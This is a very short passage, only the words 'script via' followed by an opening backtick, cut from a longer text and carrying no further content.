script via `